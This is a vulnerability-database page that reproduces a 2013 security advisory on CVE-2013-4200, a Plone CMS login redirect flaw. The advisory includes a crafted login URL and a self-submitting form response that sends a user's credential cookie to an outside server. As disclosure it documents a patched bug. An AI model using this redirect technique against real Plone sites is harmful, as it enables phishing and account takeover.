Lucene search
K

Plone CMS Credential Disclosure

🗓️ 17 Jan 2014 00:00:00Reported by Cyrill BannwartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

Plone CMS URL Redirection allows credential disclosur

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-4200
31 Jul 201300:00
circl
CVE
CVE-2013-4200
21 Jan 201416:00
cve
Cvelist
CVE-2013-4200
21 Jan 201416:00
cvelist
EUVD
EUVD-2014-0082
7 Oct 202500:30
euvd
Github Security Blog
Plone Open Redirection vulnerability via next parameter
14 May 202202:54
github
NVD
CVE-2013-4200
21 Jan 201416:06
nvd
OSV
GHSA-56P3-RRP4-2J82 Plone Open Redirection vulnerability via next parameter
14 May 202202:54
osv
OSV
PYSEC-2014-64
21 Jan 201416:06
osv
Prion
Authentication flaw
21 Jan 201416:06
prion
Positive Technologies
PT-2014-2763 · Plone Foundation · Plone
21 Jan 201400:00
ptsecurity
Rows per page
`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# http://www.csnc.ch/en/downloads/advisories.html  
#  
#############################################################  
#  
# Product: Plone CMS  
# Vendor: Plone Foundation (http://plone.org)  
# ID(s): CSNC-2013-013, CVE-2013-4200  
# Subject: URL Redirection Vulnerability  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Cyrill Bannwart <[email protected]>  
# Date: 20/05/2013  
#  
#############################################################  
  
  
Introduction:  
-------------  
The discovered vulnerability targets the open source Plone CMS. The  
credentials of a valid user can be obtained by using a specially  
crafted URL which can be sent to the user by email. When clicking on  
the URL, the user is presented with the website's login form and after  
a successful login the user as well as his credentials are forwarded to  
an external server. This vulnerability can be used by an attacker to  
obtain access to a user's account.  
  
  
Affected:  
---------  
Vulnerable:  
* Plone < 4.3.1  
  
  
Technical Description:  
----------------------  
An attacker can craft a URL for the login form where his victim has  
valid credentials. The created URL contains a redirection URL to which  
the user as well as his credentials are forwarded after a successful  
login. This URL can be sent to the victim by mail.  
  
By inserting a space before the redirection URL the isURLInPortal()  
method of the URLTool class assumes the URL to be relative, not  
filtering it against the allow_external_login_sites property.  
  
Example of crafted URL:  
https://example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch  
  
Once the victim clicks on the URL and logs in, a self-submitting POST  
form is loaded that sends the user and his credentials to the external  
server.  
  
Example excerpt of HTTP Response:  
HTTP/1.1 200 OK  
Set-Cookie: __ac="<CREDENTIALS>"; Path=/; HTTPOnly  
[CUT]  
<form method="post" id="external_login_form" name="external_login_form" action=" https://www.csnc.ch">  
<input type="hidden" name="__ac" value="<CREDENTIALS>" />  
</form>  
<script type="text/javascript">  
/*jslint browser: true */  
var external_login_form = document.forms.external_login_form;  
external_login_form.style.display = 'none';  
external_login_form.submit();  
</script>  
  
And resulting HTTP POST Request:  
POST / HTTP/1.1  
Host: www.csnc.ch  
Referer: https://www.example.com/login_form  
[CUT]  
__ac=<CREDENTIALS>  
  
The obtained credentials / cookie content can be used by the attacker to  
login to the website and gain access to the victim's account.  
  
The login form allows further URL parameters such as the password reset  
link or the sign up URL that can also be tricked into accepting  
non-relative URLs.  
  
  
Workaround / Fix / Patch:  
-------------------------  
Patch has been released by vendor  
  
  
Timeline:  
---------  
2013-05-08: Vulnerability discovered  
2013-05-20: Vendor notified  
2013-05-21: Vendor acknowledged  
2013-06-18: Patch released  
2013-07-02: Patch updated  
2014-01-16: Disclosure  
  
  
References:  
-----------  
https://plone.org/products/plone/security/advisories/20130618-announcement   
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4200  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jan 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.05344
42